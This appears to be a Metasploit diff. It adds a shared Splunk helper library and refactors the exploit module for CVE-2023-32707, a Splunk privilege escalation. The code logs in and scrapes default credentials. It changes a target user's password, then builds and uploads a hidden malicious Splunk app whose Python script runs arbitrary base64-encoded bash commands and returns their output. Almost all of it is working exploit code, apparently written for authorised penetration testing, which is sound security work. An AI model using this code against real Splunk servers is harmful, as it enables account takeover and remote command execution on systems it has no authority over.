diff --git a/lib/msf/core/exploit/remote/http/splunk.rb b/lib/msf/core/exploit/remote/http/splunk.rb new file mode 100644 index 000000000000..6cd1474fc72c --- /dev/null +++ b/lib/msf/core/exploit/remote/http/splunk.rb @@ -0,0 +1,30 @@ +# -*- coding: binary -*- + +module Msf + class Exploit + class Remote + module HTTP + # This module provides a way of interacting with splunk installations + module Splunk + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Splunk::Apps + include Msf::Exploit::Remote::HTTP::Splunk::Base + include Msf::Exploit::Remote::HTTP::Splunk::Helpers + include Msf::Exploit::Remote::HTTP::Splunk::Login + include Msf::Exploit::Remote::HTTP::Splunk::URIs + include Msf::Exploit::Remote::HTTP::Splunk::Version + + def initialize(info = {}) + super + + register_options( + [ + Msf::OptString.new('TARGETURI', [true, 'The base path to the splunk application', '/']) + ], Msf::Exploit::Remote::HTTP::Splunk + ) + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/remote/http/splunk/apps.rb b/lib/msf/core/exploit/remote/http/splunk/apps.rb new file mode 100644 index 000000000000..e752bb34d450 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/splunk/apps.rb @@ -0,0 +1,50 @@ +# -*- coding: binary -*- + +# This module provides a way of interacting with Splunk apps +module Msf::Exploit::Remote::HTTP::Splunk::Apps + # Uploads malicious app to splunk using admin cookie + # + # @param app_name [String] Name of the app to upload + # @param cookie [String] Valid admin's cookie + # @return [Boolean] true on success, false on error + def splunk_upload_app(app_name, cookie) + res = send_request_cgi({ + 'uri' => splunk_upload_url, + 'method' => 'GET', + 'cookie' => cookie + }) + + unless res&.code == 200 + vprint_error('Unable to get form state') + return false + end + + html = res.get_html_document + + data = Rex::MIME::Message.new + # fill the hidden fields from the form: state and splunk_form_key + html.at('[id="installform"]').elements.each do |form| + next unless form.attributes['value'] + + data.add_part(form.attributes['value'].to_s, nil, nil, "form-data; name=\"#{form.attributes['name']}\"") + end + data.add_part('1', nil, nil, 'form-data; name="force"') + data.add_part(splunk_helper_malicious_app(app_name), 'application/gzip', 'binary', "form-data; name=\"appfile\"; filename=\"#{app_name}.tar.gz\"") + post_data = data.to_s + + res = send_request_cgi({ + 'uri' => splunk_upload_url, + 'method' => 'POST', + 'cookie' => cookie, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => post_data + }) + + unless (res&.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/)) + vprint_error('Error uploading App') + return false + end + + true + end +end diff --git a/lib/msf/core/exploit/remote/http/splunk/base.rb b/lib/msf/core/exploit/remote/http/splunk/base.rb new file mode 100644 index 000000000000..c5873a33e4c0 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/splunk/base.rb @@ -0,0 +1,20 @@ +# -*- coding: binary -*- + +# Splunk base module +module Msf::Exploit::Remote::HTTP::Splunk::Base + # Checks if the site is online and running splunk + # + # @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running splunk, nil otherwise + def splunk_and_online? + res = send_request_cgi({ + 'uri' => splunk_url_login + }) + + return res if res&.body =~ /Splunk/ + + return nil + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e + vprint_error("Error connecting to #{splunk_url_login}: #{e}") + return nil + end +end diff --git a/lib/msf/core/exploit/remote/http/splunk/helpers.rb b/lib/msf/core/exploit/remote/http/splunk/helpers.rb new file mode 100644 index 000000000000..fff987de6060 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/splunk/helpers.rb @@ -0,0 +1,94 @@ +# -*- coding: binary -*- + +# Module with helper methods for other Splunk module methods +module Msf::Exploit::Remote::HTTP::Splunk::Helpers + # Helper method to get tokens for login + # + # @param timeout [Integer] The maximum number of seconds to wait before the request times out + # @return [String, nil] Post data to use for login + def splunk_helper_extract_token(timeout = 20) + res = send_request_cgi({ + 'uri' => splunk_url_login, + 'method' => 'GET', + 'keep_cookies' => true + }, timeout) + + unless res&.code == 200 + vprint_error('Unable to get login tokens') + return nil + end + "session_id_#{datastore['RPORT']}=#{Rex::Text.rand_text_numeric(40)}; " << res.get_cookies + end + + # Helper method to construct malicious app in .tar.gz form + # + # @param app_name [String] Name of app to upload + # @return [Rex::Text] Malicious app in .tar.gz form + def splunk_helper_malicious_app(app_name) + # metadata folder + metadata = <<~EOF + [commands] + export = system + EOF + + # default folder + commands_conf = <<~EOF + [#{app_name}] + type = python + filename = #{app_name}.py + local = false + enableheader = false + streaming = false + perf_warn_limit = 0 + EOF + + app_conf = <<~EOF + [launcher] + author=#{Faker::Name.name} + description=#{Faker::Lorem.sentence} + version=#{Faker::App.version} + + [ui] + is_visible = false + EOF + + # bin folder + msf_exec_py = <<~EOF + import sys, base64, subprocess + import splunk.Intersplunk + + header = ['result'] + results = [] + + try: + proc = subprocess.Popen(['/bin/bash', '-c', base64.b64decode(sys.argv[1]).decode()], stdout=subprocess.PIPE, stderr=subprocess.PIPE) + output = proc.stdout.read() + results.append({'result': base64.b64encode(output).decode('utf-8')}) + except Exception as e: + error_msg = 'Error : ' + str(e) + results = splunk.Intersplunk.generateErrorResults(error_msg) + + splunk.Intersplunk.outputResults(results, fields=header) + EOF + + tarfile = StringIO.new + Rex::Tar::Writer.new tarfile do |tar| + tar.add_file("#{app_name}/metadata/default.meta", 0o644) do |io| + io.write metadata + end + tar.add_file("#{app_name}/default/commands.conf", 0o644) do |io| + io.write commands_conf + end + tar.add_file("#{app_name}/default/app.conf", 0o644) do |io| + io.write app_conf + end + tar.add_file("#{app_name}/bin/#{app_name}.py", 0o644) do |io| + io.write msf_exec_py + end + end + tarfile.rewind + tarfile.close + + Rex::Text.gzip(tarfile.string) + end +end diff --git a/lib/msf/core/exploit/remote/http/splunk/login.rb b/lib/msf/core/exploit/remote/http/splunk/login.rb new file mode 100644 index 000000000000..6d81b0391693 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/splunk/login.rb @@ -0,0 +1,78 @@ +# -*- coding: binary -*- + +# Module with Splunk login related methods +module Msf::Exploit::Remote::HTTP::Splunk::Login + # performs a splunk login + # + # @param username [String] Username + # @param password [String] Password + # @param timeout [Integer] The maximum number of seconds to wait before the request times out + # @return [String,nil] the session cookies as a single string on successful login, nil otherwise + def splunk_login(username, password, timeout = 20) + # gets cval cookies + cookie = splunk_helper_extract_token(timeout) + if cookie.nil? + vprint_error('Unable to extract login tokens') + return nil + end + + cval_value = cookie.match(/cval=([^;]*)/)[1] + # login post, should get back the splunkd_port and splunkweb_csrf_token_port cookies + res = send_request_cgi({ + 'uri' => splunk_url_login, + 'method' => 'POST', + 'cookie' => cookie, + 'vars_post' => + { + 'username' => username, + 'password' => password, + 'cval' => cval_value + } + }, timeout) + + unless res + vprint_error("FAILED LOGIN. '#{username}' : '#{password}' returned no response") + return nil + end + + unless res.code == 303 || (res.code == 200 && res.body.to_s.index('{"status":0}')) + vprint_error("FAILED LOGIN. '#{username}' : '#{password}' with code #{res.code}") + return nil + end + + print_good("SUCCESSFUL LOGIN. '#{username}' : '#{password}'") + return cookie << " #{res.get_cookies}" + end + + # The free version of Splunk does not require authentication. Instead, it'll log the + # user right in as 'admin'. If that's the case, no point to brute-force, either. + # + # @return [Boolean] true if auth is required, false otherwise + def splunk_is_auth_required? + cookie = splunk_helper_extract_token + res = send_request_raw({ + 'uri' => splunk_home, + 'cookie' => cookie + }) + + !(res && res.body =~ /Logged in as (.+)/) + end + + # Return the default credentials if found + # + # @return [Array, nil] username, password if found, nil otherwise + def splunk_default_creds + p = %r{Splunk's default credentials are

username: (.+)
password: (.+)} + res = send_request_raw({ 'uri' => target_uri.path }) + user, pass = res.body.scan(p).flatten + return [user, pass] if user && pass + end + + # Extract and test the default credentials, if found + # + # @return [String, nil] the session cookies as a single string on successful login, nil otherwise + def splunk_login_with_default_creds + user, pass = splunk_default_creds + splunk_login(user, pass) if user && pass + end +end diff --git a/lib/msf/core/exploit/remote/http/splunk/uris.rb b/lib/msf/core/exploit/remote/http/splunk/uris.rb new file mode 100644 index 000000000000..48ee934f9d3a --- /dev/null +++ b/lib/msf/core/exploit/remote/http/splunk/uris.rb @@ -0,0 +1,34 @@ +# -*- coding: binary -*- + +# Module with methods for commonly used splunk URLs +module Msf::Exploit::Remote::HTTP::Splunk::URIs + # Returns the Splunk Login URL + # + # @return [String] Splunk Login URL + def splunk_url_login + normalize_uri(target_uri.path, 'en-US', 'account', 'login') + end + + # Returns the Splunk URL for the user's page + # + # @param username [String] username of the account + # @return [String] Splunk user URL + def splunk_user_page(username = nil) + username = datastore['USERNAME'] if username.nil? + normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'services', 'authentication', 'users', username) + end + + # Returns the URL for splunk home page + # + # @return [String] Splunk home page URL + def splunk_home + normalize_uri(target_uri.path, 'en-US', 'app', 'launcher', 'home') + end + + # Returns the URL for splunk upload page + # + # @return [String] Splunk upload page URL + def splunk_upload_url + normalize_uri(target_uri.path, 'en-US', 'manager', 'appinstall', '_upload') + end +end diff --git a/lib/msf/core/exploit/remote/http/splunk/version.rb b/lib/msf/core/exploit/remote/http/splunk/version.rb new file mode 100644 index 000000000000..162a55cd5e92 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/splunk/version.rb @@ -0,0 +1,56 @@ +# -*- coding: binary -*- + +# Module to get version of splunk app +module Msf::Exploit::Remote::HTTP::Splunk::Version + # Extracts the Splunk version information using authenticated cookie if available + # + # @param cookie_string [String] Valid cookie if available + # @return [String, nil] Splunk version if found, nil otherwise + def splunk_version(cookie_string = nil) + version = splunk_version_authenticated(cookie_string) if !cookie_string.nil? + return version if version + + version = splunk_login_version + return version if version + + nil + end + + private + + # Extracts splunk version from splunk user page using valid cookie + # + # @param cookie_string [String] Valid cookie + # @return [String] Splunk version + def splunk_version_authenticated(cookie_string) + res = send_request_cgi({ + 'uri' => splunk_user_page, + 'vars_get' => { + 'output_mode' => 'json' + }, + 'headers' => { + 'Cookie' => cookie_string + } + }) + + return nil unless res&.code == 200 + + body = res.get_json_document + body.dig('generator', 'version') + end + + # Tries to extract splunk verion from login page + # + # @return [String, nil] Splunk version if found, otherwise nil + def splunk_login_version + res = send_request_cgi({ + 'uri' => splunk_url_login, + 'method' => 'GET' + }) + + if res + match = res.body.match(/Splunk \d+\.\d+\.\d+/) + return match[0].split[1] if match + end + end +end diff --git a/modules/exploits/multi/http/splunk_privilege_escalation_cve_2023_32707.rb b/modules/exploits/multi/http/splunk_privilege_escalation_cve_2023_32707.rb index 1468ba3ce3f6..cd0e8072574f 100644 --- a/modules/exploits/multi/http/splunk_privilege_escalation_cve_2023_32707.rb +++ b/modules/exploits/multi/http/splunk_privilege_escalation_cve_2023_32707.rb @@ -9,6 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Splunk attr_accessor :cookie @@ -99,7 +100,8 @@ def initialize(info = {}) end def check - splunk_login(datastore['USERNAME'], datastore['PASSWORD']) + self.cookie = splunk_login(datastore['USERNAME'], datastore['PASSWORD']) + fail_with(Failure::NoAccess, 'Authentication Failed') unless cookie res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/en-US/splunkd/__raw/services/authentication/users/', datastore['USERNAME']), @@ -161,16 +163,20 @@ def cleanup 'method' => 'POST', 'cookie' => cookie, 'vars_post' => { - 'splunk_form_key' => cookies_hash['splunkweb_csrf_token_8000'] + 'splunk_form_key' => cookies_hash["splunkweb_csrf_token_#{datastore['RPORT']}"] } }) end def exploit splunk_change_password(datastore['TARGET_USER'], datastore['TARGET_PASSWORD']) - splunk_login(datastore['TARGET_USER'], datastore['TARGET_PASSWORD']) + self.cookie = splunk_login(datastore['TARGET_USER'], datastore['TARGET_PASSWORD']) - splunk_upload_app(app_name, datastore['SPLUNK_APP_FILE']) + if splunk_upload_app(app_name, cookie) + vprint_status('Splunk app uploaded successfully') + else + fail_with(Failure::Unknown, 'Failed to upload app') + end @job_id = execute_command(payload.encoded, { app_name: app_name }) # TODO: distinguish commands that return output and commands that don't @@ -189,7 +195,7 @@ def execute_command(cmd, opts = {}) 'headers' => { 'X-Requested-With' => 'XMLHttpRequest', - 'X-Splunk-Form-Key' => cookies_hash['splunkweb_csrf_token_8000'] + 'X-Splunk-Form-Key' => cookies_hash["splunkweb_csrf_token_#{datastore['RPORT']}"] }, 'vars_post' => { @@ -212,50 +218,17 @@ def execute_command(cmd, opts = {}) body['data'] end - def splunk_helper_extract_token(uri) - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, uri), - 'method' => 'GET', - 'keep_cookies' => true - }) - - fail_with(Failure::Unreachable, 'Unable to get token') unless res&.code == 200 - - "session_id_8000=#{rand_text_numeric(40)}; " << res.get_cookies - end - - def splunk_login(username, password) - # gets cval and splunkweb_uid cookies - self.cookie = splunk_helper_extract_token('/en-US/account/login') - - # login post, should get back the splunkd_8000 and splunkweb_csrf_token_8000 cookies - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, '/en-US/account/login'), - 'method' => 'POST', - 'cookie' => cookie, - 'vars_post' => - { - 'username' => username, - 'password' => password, - 'cval' => cookies_hash['cval'] - } - }) - - fail_with(Failure::UnexpectedReply, 'Unable to login') unless res&.code == 200 - - cookie << " #{res.get_cookies}" - end - def splunk_change_password(username, password) # due to the AutoCheck mixin and the keep_cookies option, the cookie might be already set - do_login(username, password) unless cookie + self.cookie ||= splunk_login(datastore['USERNAME'], datastore['PASSWORD']) + fail_with(Failure::NoAccess, 'Authentication Failed') unless cookie print_status("Changing '#{username}' password to #{password}") res = send_request_cgi({ 'uri' => normalize_uri('/en-US/splunkd/__raw/services/authentication/users/', username), 'method' => 'POST', 'headers' => { - 'X-Splunk-Form-Key' => cookies_hash['splunkweb_csrf_token_8000'], + 'X-Splunk-Form-Key' => cookies_hash["splunkweb_csrf_token_#{datastore['RPORT']}"], 'X-Requested-With' => 'XMLHttpRequest' }, 'cookie' => cookie, @@ -277,43 +250,6 @@ def splunk_change_password(username, password) fail_with(Failure::BadConfig, "The user '#{username}' does not have 'install_app' capability. You may consider to target other user") unless capabilities.include? 'install_apps' end - def splunk_upload_app(app_name, _file_name) - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, '/en-US/manager/appinstall/_upload'), - 'method' => 'GET', - 'cookie' => cookie - }) - - fail_with(Failure::UnexpectedReply, 'Unable to get form state') unless res&.code == 200 - - html = res.get_html_document - - print_status("Uploading file #{app_name}") - - data = Rex::MIME::Message.new - # fill the hidden fields from the form: state and splunk_form_key - html.at('[id="installform"]').elements.each do |form| - next unless form.attributes['value'] - - data.add_part(form.attributes['value'].to_s, nil, nil, "form-data; name=\"#{form.attributes['name']}\"") - end - data.add_part('1', nil, nil, 'form-data; name="force"') - data.add_part(splunk_app, 'application/gzip', 'binary', "form-data; name=\"appfile\"; filename=\"#{app_name}.tar.gz\"") - post_data = data.to_s - - res = send_request_cgi({ - 'uri' => '/en-US/manager/appinstall/_upload', - 'method' => 'POST', - 'cookie' => cookie, - 'ctype' => "multipart/form-data; boundary=#{data.bound}", - 'data' => post_data - }) - - fail_with(Failure::Unknown, 'Error uploading App') unless (res&.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/)) - - print_good("#{app_name} successfully uploaded") - end - # def splunk_fetch_job_output # res = send_request_cgi({ # 'uri' => normalize_uri(target_uri.path, "/en-US/splunkd/__raw/servicesNS/#{datastore['TARGET_USER']}/#{app_name}/search/jobs/#{@job_id}/results"), @@ -334,74 +270,6 @@ def splunk_upload_app(app_name, _file_name) # Rex::Text.decode_base64(body['results'].first['result']) # end - def splunk_app - # metadata folder - metadata = <<~EOF - [commands] - export = system - EOF - - # default folder - commands_conf = <<~EOF - [#{app_name}] - type = python - filename = #{app_name}.py - local = false - enableheader = false - streaming = false - perf_warn_limit = 0 - EOF - - app_conf = <<~EOF - [launcher] - author=#{Faker::Name.name} - description=#{Faker::Lorem.sentence} - version=#{Faker::App.version} - - [ui] - is_visible = false - EOF - - # bin folder - msf_exec_py = <<~EOF - import sys, base64, subprocess - import splunk.Intersplunk - - header = ['result'] - results = [] - - try: - proc = subprocess.Popen(['/bin/bash', '-c', base64.b64decode(sys.argv[1]).decode()], stdout=subprocess.PIPE, stderr=subprocess.STDOUT) - output = proc.stdout.read().decode('utf-8') - results.append({'result': base64.b64encode(output.encode('utf-8')).decode('utf-8')}) - except Exception as e: - error_msg = f'Error : {str(e)} ' - results = splunk.Intersplunk.generateErrorResults(error_msg) - - splunk.Intersplunk.outputResults(results, fields=header) - EOF - - tarfile = StringIO.new - Rex::Tar::Writer.new tarfile do |tar| - tar.add_file("#{app_name}/metadata/default.meta", 0o644) do |io| - io.write metadata - end - tar.add_file("#{app_name}/default/commands.conf", 0o644) do |io| - io.write commands_conf - end - tar.add_file("#{app_name}/default/app.conf", 0o644) do |io| - io.write app_conf - end - tar.add_file("#{app_name}/bin/#{app_name}.py", 0o644) do |io| - io.write msf_exec_py - end - end - tarfile.rewind - tarfile.close - - Rex::Text.gzip(tarfile.string) - end - def cookies_hash cookie.split(';').each_with_object({}) { |name, h| h[name.split('=').first.strip] = name.split('=').last.strip } end